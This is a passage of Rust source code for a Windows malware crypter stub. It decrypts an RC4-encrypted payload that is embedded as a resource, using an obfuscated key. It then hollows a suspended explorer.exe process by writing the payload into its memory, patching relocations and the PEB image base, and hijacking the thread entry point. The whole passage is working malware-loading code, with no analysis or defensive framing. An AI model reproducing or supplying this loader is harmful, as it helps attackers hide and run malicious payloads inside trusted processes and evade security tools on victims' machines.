ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8); 850 | if ntdll.is_null() { 851 | println!("Failed to get ntdll handle"); 852 | return None; 853 | } 854 | 855 | let proc_addr = GetProcAddress(ntdll, b"NtUnmapViewOfSection\0".as_ptr() as *const i8); 856 | if proc_addr.is_null() { 857 | println!("Failed to get NtUnmapViewOfSection address"); 858 | return None; 859 | } 860 | 861 | Some(std::mem::transmute(proc_addr)) 862 | } 863 | } 864 | 865 | fn count_relocation_entries(block_size: u32) -> u32 { 866 | (block_size as u32 - mem::size_of::() as u32) / 867 | mem::size_of::() as u32 868 | } 869 | 870 | fn has_relocation64(buffer: *const u8) -> bool { 871 | unsafe { 872 | let dos_header = buffer as *const ImageDosHeader; 873 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) as *const ImageNtHeaders64; 874 | println!("Relocation table address: 0x{:X}", (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_BASERELOC].virtual_address); 875 | (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_BASERELOC].virtual_address != 0 876 | } 877 | } 878 | 879 | fn run_pe64(process_info: &winapi::um::processthreadsapi::PROCESS_INFORMATION, 880 | buffer: *const u8) -> bool { 881 | unsafe { 882 | let dos_header = buffer as *const ImageDosHeader; 883 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) 884 | as *const ImageNtHeaders64; 885 | 886 | // Allocate memory in target process 887 | let alloc_address = VirtualAllocEx( 888 | process_info.hProcess, 889 | (*nt_headers).optional_header.image_base as PVOID, 890 | (*nt_headers).optional_header.size_of_image as usize, 891 | MEM_COMMIT | MEM_RESERVE, 892 | PAGE_EXECUTE_READWRITE 893 | ); 894 | 895 | if alloc_address.is_null() { 896 | println!("[-] An error occurred when trying to allocate memory for the new image."); 897 | unsafe { VirtualFree(buffer as *mut winapi::ctypes::c_void, 0, MEM_RELEASE); } 898 | return false; 899 | } 900 | println!("[+] Memory allocated at: {:p}", alloc_address); 901 | 902 | // Write PE headers 903 | let write_headers = WriteProcessMemory( 904 | process_info.hProcess, 905 | alloc_address, 906 | buffer as PVOID, 907 | (*nt_headers).optional_header.size_of_headers as usize, 908 | ptr::null_mut() 909 | ); 910 | 911 | if write_headers == 0 { 912 | println!("[-] An error occurred when trying to write the headers of the new image."); 913 | unsafe { 914 | TerminateProcess(process_info.hProcess, 1); 915 | VirtualFree(buffer as *mut winapi::ctypes::c_void, 0, MEM_RELEASE); 916 | } 917 | return false; 918 | } 919 | println!("[+] Headers written at: {:p}", (*nt_headers).optional_header.image_base as *const u8); 920 | 921 | // Write sections 922 | for i in 0..(*nt_headers).file_header.number_of_sections { 923 | let section_header = (nt_headers as usize + 924 | std::mem::size_of::() + // Skip NT signature 925 | std::mem::size_of::() + 926 | (*nt_headers).file_header.size_of_optional_header as usize + 927 | (i as usize * std::mem::size_of::())) as *const ImageSectionHeader; 928 | 929 | let write_section = WriteProcessMemory( 930 | process_info.hProcess, 931 | (alloc_address as usize + (*section_header).virtual_address as usize) as PVOID, 932 | (buffer as usize + (*section_header).pointer_to_raw_data as usize) as PVOID, 933 | (*section_header).size_of_raw_data as usize, 934 | ptr::null_mut() 935 | ); 936 | 937 | if write_section == 0 { 938 | println!("[-] An error occurred when trying to write section: {}", 939 | String::from_utf8_lossy(&(*section_header).name)); 940 | return false; 941 | } 942 | println!("[+] Section {} written at: {:p}", 943 | String::from_utf8_lossy(&(*section_header).name), 944 | (alloc_address as usize + (*section_header).virtual_address as usize) as *const u8); 945 | } 946 | 947 | // Get and modify thread context 948 | let mut context: CONTEXT = std::mem::zeroed(); 949 | context.ContextFlags = CONTEXT_FULL; 950 | 951 | if GetThreadContext(process_info.hThread, &mut context) == 0 { 952 | println!("[-] An error occurred when trying to get the thread context."); 953 | return false; 954 | } 955 | 956 | // Write image base to PEB 957 | let image_base = (*nt_headers).optional_header.image_base; 958 | if WriteProcessMemory( 959 | process_info.hProcess, 960 | (context.Rdx + 0x10) as PVOID, 961 | &image_base as *const u64 as PVOID, 962 | std::mem::size_of::(), 963 | ptr::null_mut() 964 | ) == 0 { 965 | println!("[-] An error occurred when trying to write the image base in the PEB."); 966 | return false; 967 | } 968 | 969 | // Set new entry point 970 | context.Rcx = alloc_address as u64 + (*nt_headers).optional_header.address_of_entry_point as u64; 971 | 972 | if SetThreadContext(process_info.hThread, &context) == 0 { 973 | println!("[-] An error occurred when trying to set the thread context."); 974 | return false; 975 | } 976 | 977 | ResumeThread(process_info.hThread); 978 | true 979 | } 980 | } 981 | 982 | fn get_reloc_address64(buffer: *const u8) -> ImageDataDirectory { 983 | unsafe { 984 | let dos_header = buffer as *const ImageDosHeader; 985 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) 986 | as *const ImageNtHeaders64; 987 | 988 | if (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_BASERELOC].virtual_address != 0 { 989 | return (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 990 | } 991 | 992 | ImageDataDirectory { 993 | virtual_address: 0, 994 | size: 0, 995 | } 996 | } 997 | } 998 | 999 | fn run_pe32(process_info: &winapi::um::processthreadsapi::PROCESS_INFORMATION, 1000 | buffer: *const u8) -> bool { 1001 | unsafe { 1002 | let dos_header = buffer as *const ImageDosHeader; 1003 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) 1004 | as *const ImageNtHeaders32; 1005 | 1006 | // Allocate memory in target process 1007 | let alloc_address = VirtualAllocEx( 1008 | process_info.hProcess, 1009 | (*nt_headers).optional_header.image_base as PVOID, 1010 | (*nt_headers).optional_header.size_of_image as usize, 1011 | MEM_COMMIT | MEM_RESERVE, 1012 | PAGE_EXECUTE_READWRITE 1013 | ); 1014 | 1015 | if alloc_address.is_null() { 1016 | println!("[-] An error occurred when trying to allocate memory for the new image."); 1017 | return false; 1018 | } 1019 | println!("[+] Memory allocated at: {:p}", alloc_address); 1020 | 1021 | // Write PE headers 1022 | let write_headers = WriteProcessMemory( 1023 | process_info.hProcess, 1024 | alloc_address, 1025 | buffer as PVOID, 1026 | (*nt_headers).optional_header.size_of_headers as usize, 1027 | ptr::null_mut() 1028 | ); 1029 | 1030 | if write_headers == 0 { 1031 | println!("[-] An error occurred when trying to write the headers of the new image."); 1032 | return false; 1033 | } 1034 | println!("[+] Headers written at: {:p}", (*nt_headers).optional_header.image_base as *const u8); 1035 | 1036 | // Write sections 1037 | for i in 0..(*nt_headers).file_header.number_of_sections { 1038 | let section_header = (nt_headers as usize + 1039 | std::mem::size_of::() + // Skip NT signature 1040 | std::mem::size_of::() + 1041 | (*nt_headers).file_header.size_of_optional_header as usize + 1042 | (i as usize * std::mem::size_of::())) as *const ImageSectionHeader; 1043 | 1044 | let write_section = WriteProcessMemory( 1045 | process_info.hProcess, 1046 | (alloc_address as usize + (*section_header).virtual_address as usize) as PVOID, 1047 | (buffer as usize + (*section_header).pointer_to_raw_data as usize) as PVOID, 1048 | (*section_header).size_of_raw_data as usize, 1049 | ptr::null_mut() 1050 | ); 1051 | 1052 | if write_section == 0 { 1053 | println!("[-] An error occurred when trying to write section: {}", 1054 | String::from_utf8_lossy(&(*section_header).name)); 1055 | return false; 1056 | } 1057 | println!("[+] Section {} written at: {:p}", 1058 | String::from_utf8_lossy(&(*section_header).name), 1059 | (alloc_address as usize + (*section_header).virtual_address as usize) as *const u8); 1060 | } 1061 | 1062 | // Get and modify thread context 1063 | let mut context: WOW64_CONTEXT = std::mem::zeroed(); 1064 | context.ContextFlags = CONTEXT_FULL; 1065 | 1066 | if Wow64GetThreadContext(process_info.hThread, &mut context) == 0 { 1067 | println!("[-] An error occurred when trying to get the thread context."); 1068 | return false; 1069 | } 1070 | 1071 | // Write image base to PEB 1072 | let image_base = (*nt_headers).optional_header.image_base; 1073 | if WriteProcessMemory( 1074 | process_info.hProcess, 1075 | (context.Ebx + 0x8) as PVOID, 1076 | &image_base as *const u32 as PVOID, 1077 | std::mem::size_of::(), 1078 | ptr::null_mut() 1079 | ) == 0 { 1080 | println!("[-] An error occurred when trying to write the image base in the PEB."); 1081 | return false; 1082 | } 1083 | 1084 | // Set new entry point 1085 | context.Eax = alloc_address as u32 + (*nt_headers).optional_header.address_of_entry_point; 1086 | 1087 | if winapi::um::winbase::Wow64SetThreadContext(process_info.hThread, &context) == 0 { 1088 | println!("[-] An error occurred when trying to set the thread context."); 1089 | return false; 1090 | } 1091 | 1092 | ResumeThread(process_info.hThread); 1093 | true 1094 | } 1095 | } 1096 | 1097 | fn run_pe_reloc64(process_info: &winapi::um::processthreadsapi::PROCESS_INFORMATION, 1098 | buffer: *const u8) -> bool { 1099 | unsafe { 1100 | let dos_header = buffer as *const ImageDosHeader; 1101 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) 1102 | as *mut ImageNtHeaders64; 1103 | 1104 | let alloc_address = VirtualAllocEx( 1105 | process_info.hProcess, 1106 | ptr::null_mut(), 1107 | (*nt_headers).optional_header.size_of_image as usize, 1108 | MEM_COMMIT | MEM_RESERVE, 1109 | PAGE_EXECUTE_READWRITE 1110 | ); 1111 | 1112 | if alloc_address.is_null() { 1113 | println!("[-] An error occurred when trying to allocate memory for the new image."); 1114 | return false; 1115 | } 1116 | println!("[+] Memory allocated at: {:p}", alloc_address); 1117 | 1118 | let delta = alloc_address as u64 - (*nt_headers).optional_header.image_base; 1119 | // println!("[+] Delta: 0x{:X}", delta); 1120 | (*nt_headers).optional_header.image_base = alloc_address as u64; 1121 | 1122 | let write_headers = WriteProcessMemory( 1123 | process_info.hProcess, 1124 | alloc_address, 1125 | buffer as PVOID, 1126 | (*nt_headers).optional_header.size_of_headers as usize, 1127 | ptr::null_mut() 1128 | ); 1129 | 1130 | if write_headers == 0 { 1131 | println!("[-] An error occurred when trying to write the headers of the new image."); 1132 | return false; 1133 | } 1134 | println!("[+] Headers written at: {:p}", alloc_address); 1135 | 1136 | // Get relocation directory info 1137 | let image_data_reloc = get_reloc_address64(buffer); 1138 | let mut reloc_section = ptr::null_mut(); 1139 | 1140 | // Write sections and find relocation section 1141 | for i in 0..(*nt_headers).file_header.number_of_sections { 1142 | let section_header = (nt_headers as usize + 1143 | std::mem::size_of::() + // Skip NT signature 1144 | std::mem::size_of::() + 1145 | (*nt_headers).file_header.size_of_optional_header as usize + 1146 | (i as usize * std::mem::size_of::())) as *const ImageSectionHeader; 1147 | 1148 | // Check if this is the relocation section 1149 | if image_data_reloc.virtual_address >= (*section_header).virtual_address && 1150 | image_data_reloc.virtual_address < ((*section_header).virtual_address + (*section_header).virtual_size) { 1151 | reloc_section = section_header as *mut ImageSectionHeader; 1152 | } 1153 | 1154 | let write_section = WriteProcessMemory( 1155 | process_info.hProcess, 1156 | (alloc_address as usize + (*section_header).virtual_address as usize) as PVOID, 1157 | (buffer as usize + (*section_header).pointer_to_raw_data as usize) as PVOID, 1158 | (*section_header).size_of_raw_data as usize, 1159 | ptr::null_mut() 1160 | ); 1161 | 1162 | if write_section == 0 { 1163 | println!("[-] An error occurred when trying to write section: {}", 1164 | String::from_utf8_lossy(&(*section_header).name)); 1165 | return false; 1166 | } 1167 | println!("[+] Section {} written at: {:p}", 1168 | String::from_utf8_lossy(&(*section_header).name), 1169 | (alloc_address as usize + (*section_header).virtual_address as usize) as *const u8); 1170 | } 1171 | 1172 | if reloc_section.is_null() { 1173 | println!("[-] Failed to find relocation section."); 1174 | return false; 1175 | } 1176 | 1177 | println!("[+] Relocation section found: {}", 1178 | String::from_utf8_lossy(&(*reloc_section).name)); 1179 | 1180 | // Process relocations 1181 | let mut reloc_offset = 0u32; 1182 | while reloc_offset < image_data_reloc.size { 1183 | let base_relocation = (buffer as usize + 1184 | (*reloc_section).pointer_to_raw_data as usize + 1185 | reloc_offset as usize) as *const BaseRelocationBlock; 1186 | 1187 | reloc_offset += std::mem::size_of::() as u32; 1188 | 1189 | let entries = count_relocation_entries((*base_relocation).block_size); 1190 | if (*base_relocation).block_size < mem::size_of::() as u32 { 1191 | return false; 1192 | } 1193 | for _ in 0..entries { 1194 | let entry = (buffer as usize + 1195 | (*reloc_section).pointer_to_raw_data as usize + 1196 | reloc_offset as usize) as *const BaseRelocationEntry; 1197 | 1198 | reloc_offset += std::mem::size_of::() as u32; 1199 | 1200 | if (*entry).type_() == 0 { 1201 | continue; 1202 | } 1203 | 1204 | let address_location = alloc_address as u64 + 1205 | (*base_relocation).page_address as u64 + 1206 | (*entry).offset() as u64; 1207 | 1208 | let mut patched_address: u64 = 0; 1209 | ReadProcessMemory( 1210 | process_info.hProcess, 1211 | address_location as PVOID, 1212 | &mut patched_address as *mut u64 as PVOID, 1213 | std::mem::size_of::(), 1214 | ptr::null_mut() 1215 | ); 1216 | 1217 | patched_address += delta; 1218 | 1219 | let mut write_result = 0; 1220 | WriteProcessMemory( 1221 | process_info.hProcess, 1222 | address_location as PVOID, 1223 | &patched_address as *const u64 as PVOID, 1224 | std::mem::size_of::(), 1225 | &mut write_result 1226 | ); 1227 | 1228 | if write_result == 0 { 1229 | return false; 1230 | } 1231 | } 1232 | println!("[+] Relocation block processed at 0x{:X}", (*base_relocation).page_address); 1233 | } 1234 | println!("[+] Relocations processed successfully."); 1235 | 1236 | let mut context: CONTEXT = std::mem::zeroed(); 1237 | context.ContextFlags = CONTEXT_FULL; 1238 | 1239 | if GetThreadContext(process_info.hThread, &mut context) == 0 { 1240 | println!("[-] An error occurred when trying to get the thread context."); 1241 | return false; 1242 | } 1243 | 1244 | // Update PEB with new image base 1245 | if WriteProcessMemory( 1246 | process_info.hProcess, 1247 | (context.Rdx + 0x10) as PVOID, 1248 | &alloc_address as *const PVOID as PVOID, 1249 | std::mem::size_of::(), 1250 | ptr::null_mut() 1251 | ) == 0 { 1252 | println!("[-] An error occurred when trying to write the image base in the PEB."); 1253 | return false; 1254 | } 1255 | 1256 | // Set new entry point 1257 | context.Rcx = alloc_address as u64 + (*nt_headers).optional_header.address_of_entry_point as u64; 1258 | 1259 | if SetThreadContext(process_info.hThread, &context) == 0 { 1260 | println!("[-] An error occurred when trying to set the thread context."); 1261 | return false; 1262 | } 1263 | 1264 | ResumeThread(process_info.hThread); 1265 | true 1266 | } 1267 | } 1268 | 1269 | fn has_relocation32(buffer: *const u8) -> bool { 1270 | unsafe { 1271 | let dos_header = buffer as *const ImageDosHeader; 1272 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) as *const ImageNtHeaders32; 1273 | (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_BASERELOC].virtual_address != 0 1274 | } 1275 | } 1276 | 1277 | fn run_pereloc32(process_info: &winapi::um::processthreadsapi::PROCESS_INFORMATION, 1278 | buffer: *const u8) -> bool { 1279 | unsafe { 1280 | let dos_header = buffer as *const ImageDosHeader; 1281 | let nt_headers = (buffer as usize + (*dos_header).e_lfanew as usize) 1282 | as *mut ImageNtHeaders32; 1283 | 1284 | 1285 | // Allocate memory in target process 1286 | let alloc_address = VirtualAllocEx( 1287 | process_info.hProcess, 1288 | ptr::null_mut(), 1289 | (*nt_headers).optional_header.size_of_image as usize, 1290 | MEM_COMMIT | MEM_RESERVE, 1291 | PAGE_EXECUTE_READWRITE 1292 | ); 1293 | 1294 | if alloc_address.is_null() { 1295 | println!("[-] An error occurred when trying to allocate memory for the new image."); 1296 | return false; 1297 | } 1298 | println!("[+] Memory allocated at: {:p}", alloc_address); 1299 | 1300 | let delta_image_base = alloc_address as u32 - (*nt_headers).optional_header.image_base; 1301 | println!("[+] Delta: 0x{:X}", delta_image_base); 1302 | 1303 | (*nt_headers).optional_header.image_base = alloc_address as u32; 1304 | 1305 | // Write PE headers 1306 | let write_headers = WriteProcessMemory( 1307 | process_info.hProcess, 1308 | alloc_address, 1309 | buffer as PVOID, 1310 | (*nt_headers).optional_header.size_of_headers as usize, 1311 | ptr::null_mut() 1312 | ); 1313 | 1314 | if write_headers == 0 { 1315 | println!("[-] An error occurred when trying to write the headers of the new image."); 1316 | return false; 1317 | } 1318 | println!("[+] Headers written at: {:p}", alloc_address); 1319 | 1320 | // Get relocation directory info and find relocation section 1321 | let image_data_reloc = (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 1322 | let mut reloc_section = ptr::null_mut(); 1323 | 1324 | // Write sections and identify relocation section 1325 | for i in 0..(*nt_headers).file_header.number_of_sections { 1326 | let section_header = (nt_headers as usize + 1327 | std::mem::size_of::() + // Skip NT signature 1328 | std::mem::size_of::() + 1329 | (*nt_headers).file_header.size_of_optional_header as usize + 1330 | (i as usize * std::mem::size_of::())) as *const ImageSectionHeader; 1331 | 1332 | // Check if this is the relocation section 1333 | if image_data_reloc.virtual_address >= (*section_header).virtual_address && 1334 | image_data_reloc.virtual_address < ((*section_header).virtual_address + (*section_header).virtual_size) { 1335 | reloc_section = section_header as *mut ImageSectionHeader; 1336 | } 1337 | 1338 | let write_section = WriteProcessMemory( 1339 | process_info.hProcess, 1340 | (alloc_address as usize + (*section_header).virtual_address as usize) as PVOID, 1341 | (buffer as usize + (*section_header).pointer_to_raw_data as usize) as PVOID, 1342 | (*section_header).size_of_raw_data as usize, 1343 | ptr::null_mut() 1344 | ); 1345 | 1346 | if write_section == 0 { 1347 | println!("[-] An error occurred when trying to write section: {}", 1348 | String::from_utf8_lossy(&(*section_header).name)); 1349 | return false; 1350 | } 1351 | println!("[+] Section {} written at: {:p}", 1352 | String::from_utf8_lossy(&(*section_header).name), 1353 | (alloc_address as usize + (*section_header).virtual_address as usize) as *const u8); 1354 | } 1355 | 1356 | if reloc_section.is_null() { 1357 | println!("[-] Failed to find relocation section."); 1358 | return false; 1359 | } 1360 | 1361 | println!("[+] Relocation section found: {}", 1362 | String::from_utf8_lossy(&(*reloc_section).name)); 1363 | 1364 | // Process relocations 1365 | let mut reloc_offset = 0u32; 1366 | while reloc_offset < image_data_reloc.size { 1367 | let base_relocation = (buffer as usize + 1368 | (*reloc_section).pointer_to_raw_data as usize + 1369 | reloc_offset as usize) as *const BaseRelocationBlock; 1370 | 1371 | reloc_offset += std::mem::size_of::() as u32; 1372 | 1373 | let entries = count_relocation_entries((*base_relocation).block_size); 1374 | // println!("[+] Processing relocation block at VA: 0x{:X} with {} entries", 1375 | // (*base_relocation).page_address, entries); 1376 | 1377 | for _ in 0..entries { 1378 | let entry = (buffer as usize + 1379 | (*reloc_section).pointer_to_raw_data as usize + 1380 | reloc_offset as usize) as *const BaseRelocationEntry; 1381 | 1382 | reloc_offset += std::mem::size_of::() as u32; 1383 | 1384 | if (*entry).type_() == 0 { 1385 | continue; 1386 | } 1387 | 1388 | // Calculate the actual address to patch relative to our new base 1389 | let address_location = alloc_address as u32 + 1390 | (*base_relocation).page_address + 1391 | (*entry).offset() as u32; 1392 | 1393 | // Read current value 1394 | let mut original_value: u32 = 0; 1395 | ReadProcessMemory( 1396 | process_info.hProcess, 1397 | address_location as PVOID, 1398 | &mut original_value as *mut u32 as PVOID, 1399 | std::mem::size_of::(), 1400 | ptr::null_mut() 1401 | ); 1402 | 1403 | // Calculate new value based on relocation delta 1404 | let patched_value = original_value + delta_image_base; 1405 | 1406 | // println!("[+] Relocation at 0x{:X} (VA: 0x{:X} + offset: 0x{:X})", 1407 | // address_location, 1408 | // (*base_relocation).page_address, 1409 | // (*entry).offset()); 1410 | // println!(" Original: 0x{:X} -> Patched: 0x{:X}", original_value, patched_value); 1411 | 1412 | // Write patched value 1413 | WriteProcessMemory( 1414 | process_info.hProcess, 1415 | address_location as PVOID, 1416 | &patched_value as *const u32 as PVOID, 1417 | std::mem::size_of::(), 1418 | ptr::null_mut() 1419 | ); 1420 | 1421 | // Verify write 1422 | let mut verify_value: u32 = 0; 1423 | ReadProcessMemory( 1424 | process_info.hProcess, 1425 | address_location as PVOID, 1426 | &mut verify_value as *mut u32 as PVOID, 1427 | std::mem::size_of::(), 1428 | ptr::null_mut() 1429 | ); 1430 | 1431 | if verify_value != patched_value { 1432 | // println!("[-] Relocation verification failed at 0x{:X}", address_location); 1433 | // println!(" Expected: 0x{:X}, Got: 0x{:X}", patched_value, verify_value); 1434 | return false; // Stop if verification fails 1435 | } 1436 | } 1437 | } 1438 | 1439 | 1440 | println!("[+] Relocations processed successfully."); 1441 | // println!("[*] Process Handle: {:?}", process_info.hProcess); 1442 | // println!("[*] Thread Handle: {:?}", process_info.hThread); 1443 | // println!("[*] Buffer Address: {:p}", buffer); 1444 | 1445 | let mut ctx: WOW64_CONTEXT = std::mem::zeroed(); 1446 | ctx.ContextFlags = CONTEXT_FULL; 1447 | println!("[*] Getting WOW64 Thread Context"); 1448 | let success = Wow64GetThreadContext(process_info.hThread, &mut ctx); 1449 | if success == 0 { 1450 | println!("[-] Failed to get Thread Context. Error: {:#x}", GetLastError()); 1451 | return false; 1452 | } 1453 | println!("[+] Successfully got Thread Context"); 1454 | // println!("[*] Thread Context EBX: {:#x}", ctx.Ebx); 1455 | let peb_image_base_offset = 0x8; // Offset to ImageBaseAddress in PEB 1456 | let peb_write_addr = (ctx.Ebx as usize + peb_image_base_offset) as PVOID; 1457 | let alloc_addr_u32 = alloc_address as u32; 1458 | 1459 | // println!("[*] Writing new image base to PEB"); 1460 | // println!("[*] PEB Write Address: {:p}", peb_write_addr); 1461 | // println!("[*] New Image Base: {:#x}", alloc_addr_u32); 1462 | 1463 | let result = WriteProcessMemory( 1464 | process_info.hProcess, 1465 | peb_write_addr, 1466 | &alloc_addr_u32 as *const u32 as PVOID, 1467 | std::mem::size_of::(), 1468 | ptr::null_mut() 1469 | ); 1470 | 1471 | if result == 0 { 1472 | println!("[-] Failed to write PEB. Error: {:#x}", GetLastError()); 1473 | return false; 1474 | } 1475 | println!("[+] Successfully wrote new image base to PEB"); 1476 | 1477 | ctx.Eax = alloc_address as u32 + (*nt_headers).optional_header.address_of_entry_point; 1478 | println!("[*] Original entry point: {:#x}", (*nt_headers).optional_header.address_of_entry_point); 1479 | println!("[*] Setting EAX to new entry point: {:#x}", ctx.Eax); 1480 | 1481 | let set_context = Wow64SetThreadContext(process_info.hThread, &ctx); 1482 | if set_context == 0 { 1483 | println!("[-] Failed to set Thread Context. Error: {:#x}", GetLastError()); 1484 | return false; 1485 | } 1486 | println!("[+] Thread context set successfully"); 1487 | let mut old_protect: DWORD = 0; 1488 | VirtualProtectEx( 1489 | process_info.hProcess, 1490 | alloc_address as PVOID, 1491 | (*nt_headers).optional_header.size_of_image as SIZE_T, 1492 | PAGE_EXECUTE_READWRITE, 1493 | &mut old_protect 1494 | ); 1495 | ResumeThread(process_info.hThread); 1496 | println!("[+] Thread resumed"); 1497 | 1498 | // println!("[*] Waiting for process to initialize..."); 1499 | 1500 | // Wait for process initialization (5 second timeout) 1501 | let wait_result = WaitForSingleObject(process_info.hProcess, 5000); 1502 | match wait_result { 1503 | WAIT_OBJECT_0 => { 1504 | // println!("[-] Process terminated prematurely"); 1505 | let mut exit_code: DWORD = 0; 1506 | if GetExitCodeProcess(process_info.hProcess, &mut exit_code) != 0 { 1507 | // println!("[-] Process exit code: {:#x}", exit_code); 1508 | } 1509 | return false; 1510 | } 1511 | WAIT_TIMEOUT => { 1512 | // println!("[+] Process is still running"); 1513 | // Get current process status 1514 | let mut exit_code: DWORD = 0; 1515 | if GetExitCodeProcess(process_info.hProcess, &mut exit_code) != 0 { 1516 | // println!("[*] Current process status code: {:#x}", exit_code); 1517 | } 1518 | } 1519 | _ => { 1520 | // println!("[-] Error waiting for process: {:#x}", GetLastError()); 1521 | return false; 1522 | } 1523 | } 1524 | true 1525 | 1526 | 1527 | } 1528 | } 1529 | 1530 | 1531 | unsafe extern "system" fn fn_unpack() -> io::Result<()> { 1532 | unsafe { 1533 | 1534 | 1535 | 1536 | // Get handle to current module 1537 | let h_file = GetModuleHandleA(ptr::null()); 1538 | if h_file.is_null() { 1539 | println!("GetModuleHandleA fails"); 1540 | return Ok(()); 1541 | } 1542 | 1543 | // Find the resource with ID 1544 | let h_resource = FindResourceW( 1545 | h_file, 1546 | 69 as *const u16, // Resource ID 1547 | wide_string("STUB").as_ptr() 1548 | ); 1549 | 1550 | if h_resource.is_null() { 1551 | println!("FindResourceW fails. 0x{:x}", GetLastError()); 1552 | return Ok(()); 1553 | } 1554 | println!("Found it"); 1555 | 1556 | // Get size of the resource 1557 | let dw_size_of_resource = SizeofResource(h_file, h_resource); 1558 | if dw_size_of_resource == 0 { 1559 | println!("SizeofResource fails"); 1560 | return Ok(()); 1561 | } 1562 | 1563 | // Load the resource 1564 | let hg_resource: HGLOBAL = LoadResource(h_file, h_resource); 1565 | if hg_resource.is_null() { 1566 | println!("LoadResource fails"); 1567 | return Ok(()); 1568 | } 1569 | 1570 | // Lock the resource 1571 | let lp_resource = LockResource(hg_resource); 1572 | if lp_resource.is_null() { 1573 | println!("LockResource fails"); 1574 | return Ok(()); 1575 | } 1576 | 1577 | // Allocate memory for the resource 1578 | let mut buffer = VirtualAlloc( 1579 | ptr::null_mut(), 1580 | dw_size_of_resource as usize, 1581 | MEM_COMMIT | MEM_RESERVE, 1582 | PAGE_READWRITE 1583 | ); 1584 | if buffer.is_null() { 1585 | println!("VirtualAlloc fails"); 1586 | return Ok(()); 1587 | } 1588 | 1589 | // Create a mutable buffer to hold the resource data 1590 | let mut lpbuffer = Vec::with_capacity(dw_size_of_resource as usize); 1591 | ptr::copy_nonoverlapping( 1592 | lp_resource as *const u8, 1593 | lpbuffer.as_mut_ptr(), 1594 | dw_size_of_resource as usize 1595 | ); 1596 | lpbuffer.set_len(dw_size_of_resource as usize); 1597 | 1598 | // Initialize decryption key 1599 | let mut key: [u8; 30] = [ 1600 | 0x55,0x6d,0x63,0x23,0x21,0x7b,0x58,0x79,0x21,0x70,0x79,0x63,0x41,0x7f,0x76,0x73,0x69,0x64, 1601 | 0x3e,0x63,0x74,0x72,0x3c,0x7c,0x65,0x6e,0x1a,0x7e,0x64,0x7c, 1602 | ]; 1603 | let mut j = 1; 1604 | for i in 0..30 { 1605 | if i % 2 == 0 { 1606 | key[i] = key[i] + j; 1607 | } else { 1608 | j = j + 1; 1609 | } 1610 | key[i] = key[i] ^ 0x17; 1611 | } 1612 | 1613 | // Decrypt the buffer 1614 | let mut rc4 = Rc4::new(&key); 1615 | rc4.apply_keystream(&mut lpbuffer); 1616 | 1617 | // println!("Decrypted buffer: {:?}", &lpbuffer[..30]); 1618 | 1619 | // println!("Decrypted buffer: {:?}", &buffer[buffer.len() - 30..]); 1620 | 1621 | // Copy decrypted into allocated memory 1622 | ptr::copy_nonoverlapping( 1623 | lpbuffer.as_ptr(), 1624 | buffer as *mut u8, 1625 | lpbuffer.len() 1626 | ); 1627 | 1628 | let mut source32=0; 1629 | let source_magic = get_pe_magic(buffer as *const u8)?; 1630 | if source_magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC { 1631 | source32 = 1; 1632 | } 1633 | let process_name = if source_magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC { 1634 | CString::new("C:\\Windows\\SysWOW64\\explorer.exe").unwrap() 1635 | } else { 1636 | CString::new("C:\\Windows\\explorer.exe").unwrap() 1637 | }; 1638 | 1639 | let mut startup_info: winapi::um::processthreadsapi::STARTUPINFOA = unsafe { mem::zeroed() }; 1640 | startup_info.cb = mem::size_of::() as u32; 1641 | 1642 | let mut process_info: winapi::um::processthreadsapi::PROCESS_INFORMATION = unsafe { mem::zeroed() }; 1643 | 1644 | let success = unsafe { 1645 | winapi::um::processthreadsapi::CreateProcessA( 1646 | process_name.as_ptr(), 1647 | ptr::null_mut(), 1648 | ptr::null_mut(), 1649 | ptr::null_mut(), 1650 | true as i32, 1651 | winapi::um::winbase::CREATE_SUSPENDED, 1652 | ptr::null_mut(), 1653 | ptr::null_mut(), 1654 | &mut startup_info, 1655 | &mut process_info 1656 | ) 1657 | }; 1658 | 1659 | if success == 0 { 1660 | return Err(io::Error::last_os_error()); 1661 | } 1662 | 1663 | if source32 == 1 { 1664 | println!("[+] Source is 32-bit PE"); 1665 | match get_process_address_information32(&process_info) { 1666 | Some(info) => { 1667 | if info.peb_address.is_null() || info.image_base_address.is_null() { 1668 | println!("[-] Failed to get process address information"); 1669 | unsafe { 1670 | TerminateProcess(process_info.hProcess, 1); 1671 | VirtualFree(buffer, 0, MEM_RELEASE); 1672 | } 1673 | return Ok(()); 1674 | } 1675 | if let Some(peb) = read_remote_peb(process_info.hProcess) { 1676 | println!("Successfully read process PEB"); 1677 | println!("Image base address: {:p}", peb.image_base_address); 1678 | 1679 | let loaded_image = match read_remote_image32(process_info.hProcess, peb.image_base_address) { 1680 | Some(image) => { 1681 | println!("Successfully read remote image"); 1682 | println!("Number of sections: {}", image.number_of_sections); 1683 | image 1684 | } 1685 | None => { 1686 | println!("Failed to read remote image"); 1687 | return Ok(()); 1688 | } 1689 | }; 1690 | } 1691 | let has_reloc = has_relocation32(buffer as *const u8); 1692 | 1693 | if has_reloc{ 1694 | println!("[+] The source image has a relocation table"); 1695 | if run_pereloc32(&process_info, buffer as *const u8) { 1696 | println!("[+] The injection has succeeded!"); 1697 | unsafe { 1698 | CloseHandle(process_info.hProcess); 1699 | CloseHandle(process_info.hThread); 1700 | VirtualFree(buffer, 0, MEM_RELEASE); 1701 | } 1702 | return Ok(()); 1703 | } 1704 | } 1705 | else { 1706 | println!("[+] The source image doesn't have a relocation table"); 1707 | if run_pe32(&process_info, buffer as *const u8) { 1708 | println!("[+] The injection has succeeded!"); 1709 | unsafe { 1710 | CloseHandle(process_info.hProcess); 1711 | CloseHandle(process_info.hThread); 1712 | VirtualFree(buffer, 0, MEM_RELEASE); 1713 | } 1714 | return Ok(()); 1715 | } 1716 | } 1717 | 